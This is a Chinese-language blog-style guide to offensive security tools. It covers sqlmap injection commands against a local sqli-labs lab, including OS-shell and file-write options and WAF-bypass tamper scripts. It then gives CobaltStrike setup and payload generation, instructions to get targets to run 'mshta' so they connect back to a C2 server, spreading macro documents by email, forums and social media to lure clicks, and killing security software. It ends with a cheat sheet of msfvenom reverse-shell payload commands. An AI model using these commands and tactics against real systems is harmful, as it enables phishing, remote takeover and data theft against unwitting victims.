1,SQLMAP
1,sqlmap安装与使用
安装
安装python2
首先我们要安装python2,安装方法照着官网安装就行了
若,想在电脑上同时安装python3和python2,请参考以下两篇博文
https://blog.csdn.net/weixin_42719923/article/details/113094622
https://blog.csdn.net/qiang12qiang12/article/details/53239866
安装sqlmap
在官网下载sqlmap的压缩包,并解压到相应的python2安装目录
www.sqlmap.org
使用
找到sqlmap所在的目录环境,并找到sqlmap.py的文件
在cmd中运行如下代码则运行了sqlmap
python2 sqlmap.py -u(选项,具体请看官方文档)
注意:上述命令中我们用的python2是本人设置了python3和python2的特殊设置,仅仅安装的python2的师傅只需在代码开头把python2改为python即可
运行成功如下图所示:
在sqli-lab环境下的使用
漏洞查找
python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/
查找url的漏洞并给出payload
第一处是否以URL为目标尝试注入

第二处是否减少数字的回应
python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1
查找url的漏洞并给出payload(单个注入点参数使用方法)
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1&uid=2"
查找url的漏洞并给出payload(多个注入点参数使用方法,需要加双引号)
数据库查找
python2 sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 — —dbs

数据库中表单查找
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges --tables

在表单中查找字段
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges -T i8wv0zdsl8 --columns

获取字段内容
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D challenges -T i8wv0zdsl8 -C id,tryy --dump

获取数据库用户
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --users

获取数据库用户密码
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --password

获取当前网站使用数据库名称
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db

获取当前网站数据库用户名称
python2 sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-user

sqlmap进阶
1,level 5(等级探测)
在sqlmap命令执行最后加上命令
--level X (X替换为1~5,不添加默认为1)
X数值越高,sqlmap检测就越全面,但时间也会变得越慢。
2,查看当前用户是否为管理权限
sqlmap -u "http://xxx.xxx.xxx?id=1" --is-dba
3,列出数据库管理员角色
--roles (可查看管理员角色,当数据库是Oracle时 -U 参数可查看具体的值)
4,伪造Http的referer头
--referer http://XXX.XXX.XXX.XXX
伪造http的referer头,(部分sql注入需要)
5,获取sql的shell
--sql-shell
6,运行任意操作系统命令
--os-cmd,--os-shell
7,从数据库服务器中读取文件
--file-read
8,上传文件打数据库中
--file-write,--file-dest
在拥有特定的权限下,可以上传文件,可以是二进制,也可以是文本。
sqlmap自带绕过脚本tamper
sqlmap.py XXXXXXXX --tamper "模块名"
tamper目录里存在很多模块文件(py文件),还可以自己写py文件绕过
--identify-waf #进行waf检测
tamper之apostrophemask.py
作用:将引号替换为UTF-8,用于过滤单引号
base64encode.py
作用:替换为base64编码
multiplespaces.py
作用:围绕SQL关键字添加多个空格
space2plus.py
作用:用’+’代替’ ‘(空格)
nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,列如将SELECT替换为空)
space2randomblank.py
作用:将空格随机替换为其他有效字符
unionalltounion.py
作用:将 UNION ALL SELECT 替换为 UNION SELECT
securephere.py
作用:追加特制的字符串
sapce2hash.py
作用:将空格替换为#,并添加一个随机的字符串和换行符
space2mssql
作用:将空格替换为其他空符号
space2mssqlhash.py
作用:将空格替换为#,并添加一个换行符
between.py
作用:用 NOT BETWEEN 0 AND 替换 > ,用 BETWEEN AND 替换 =
percentage.py
作用:ASP允许在每个字符前添加一个%号
sp_password.py
作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charencode.py
作用:对给定的Payload全部字符使用URL编码(不处理已编码字符)。
randomcase.py
作用:随机大小写
charunioncodeencode.py
作用:使用 unioncide 编码
space2comment.py
作用:将空格替换为/**/
equaltolike.py
作用:将=替换为like
greatest.py
作用:绕过对’>’的过滤,用 GREATEST 替换大于号
2,BurpSuite
参考链接:https://t0data.gitbooks.io/burpsuite/content/
3,Nmap
主要用于发现主机端口开放和发现其开放服务,参考Znmap。
4,CobaltStrike
CS结构即客户端/服务端架构,是一款团队作战渗透的神器,分为客户端和服务端,一个服务器可以对应多个客户端,一个客户端可以连多个服务端。<br /> CS主要用来后期持久渗透,横向移动,流量隐藏,数据窃取的工具。当已经在目标机器上执行了CS的paylaod,他会创建一个Beacon(远控木马功能)回连到C2服务器。(C2服务器:命令和控制服务器)
安装

teamserver是服务端,cobaltstrike.jar是客户端。
环境
需要jdk环境(通常使用JDK 8.0版本
Linux安装
yum install java-1.8.0-openjdk*
Windows
请自行百度安装JDK 8.0
启动
服务端
CS 没法单独运行,必须分为服务端和客户端。首先上传服务端至Linux服务器,并运行
chmod 777 teamserver./teamserver [server_ipaddress] [password]列如:./teamserver 127.0.0.1 123456
客户端
双击start.bat在win10运行客户端,CS默认端口未50050,用户名可随意输入,password为服务端设置的密码。点击connect链接即可启动CS
使用
页面介绍
监听器(在上述的3)
点击add,看到如下页面
然后填写相应的信息
设置0~6535未被占用的窗口,开启监听器
攻击模块(attack)
总共有三个分类:packages生成包,web drive-by通过web攻击某些东西,spear phish鱼叉攻击
Packages
HTML Applicant 生成.hta HTML应用程序
MS Office Macro 生成恶意宏放入office文件
Payload Generator 生成各种语言版本的payload
Windows Executable 可执行文件 默认 x86 勾选 x64表示生成x64
Web Drive-by
Manage 管理当前Team Server 开启的所有web服务
Clone Site 克隆某网站
Host File 在Team Server的某端口提供Web提供Web以供下载某文件
Scripted Web Delivery 为payload提供web服务以便于下载和执行
System Profiler 用来获取系统信息:系统版本,Flash版本,浏览器版本等
例子:
HTML Applicant
生成powershell(powershell可以理解为高级拓展的cmd),powershell可执行一些木马,后门,病毒等特殊脚本。
Host File例子:
可以提供一个链接供目标下载我们提前生成的文件,(建议不去使用80端口,可以8089)
Manage例子:
可以查看Team Server开着的web服务,可以看到Host File生成的链接url
目标上线
想办法让目标运行如下命令(Windows)
mshta url(Host file生成的链接)
回到CS界面可以看到获取了目标的控制权限,右键点击目标,然后点击interact,即可进入操作界面
通常首先设置sleep 0,降低回显时间,然后执行命令
文件管理
可以查看目标C盘文件,运行完成后点击List driver可以查看其他盘
远程桌面
时间慢,启动慢,一般不启动,对服务器带宽有要求
任务管理器
如果权限比较高,可以kill安全防御软件
屏幕截图
可以将目标屏幕截图保存
生成后门木马
例子:
1,首先生成可执行文件
2,上传至目标机器
- 通过webshell上传,运行
- 通过互联网传播,钓鱼
生成.exe木马(不能被免杀)
Office 宏病毒(正版office 365,正版office 2019默认关闭宏命令,且不能免杀)
1,为文档添加宏,保存
- 打开正常的office文件,如test.docx
- 视图->宏->查看宏
- 选择宏的位置为当前文档->输入宏名->创建
- copy Macro粘贴到宏命令处(全选删除,粘贴)
- 选择否,另存为docm
2,上传至目标机器
- 通过互联网邮箱,社交媒体,论坛传播
- 诱导点击
5,msfvenom 木马生成(常用)
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=
Python
msfvenom -p cmd/unix/reverse_python LHOST=
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=
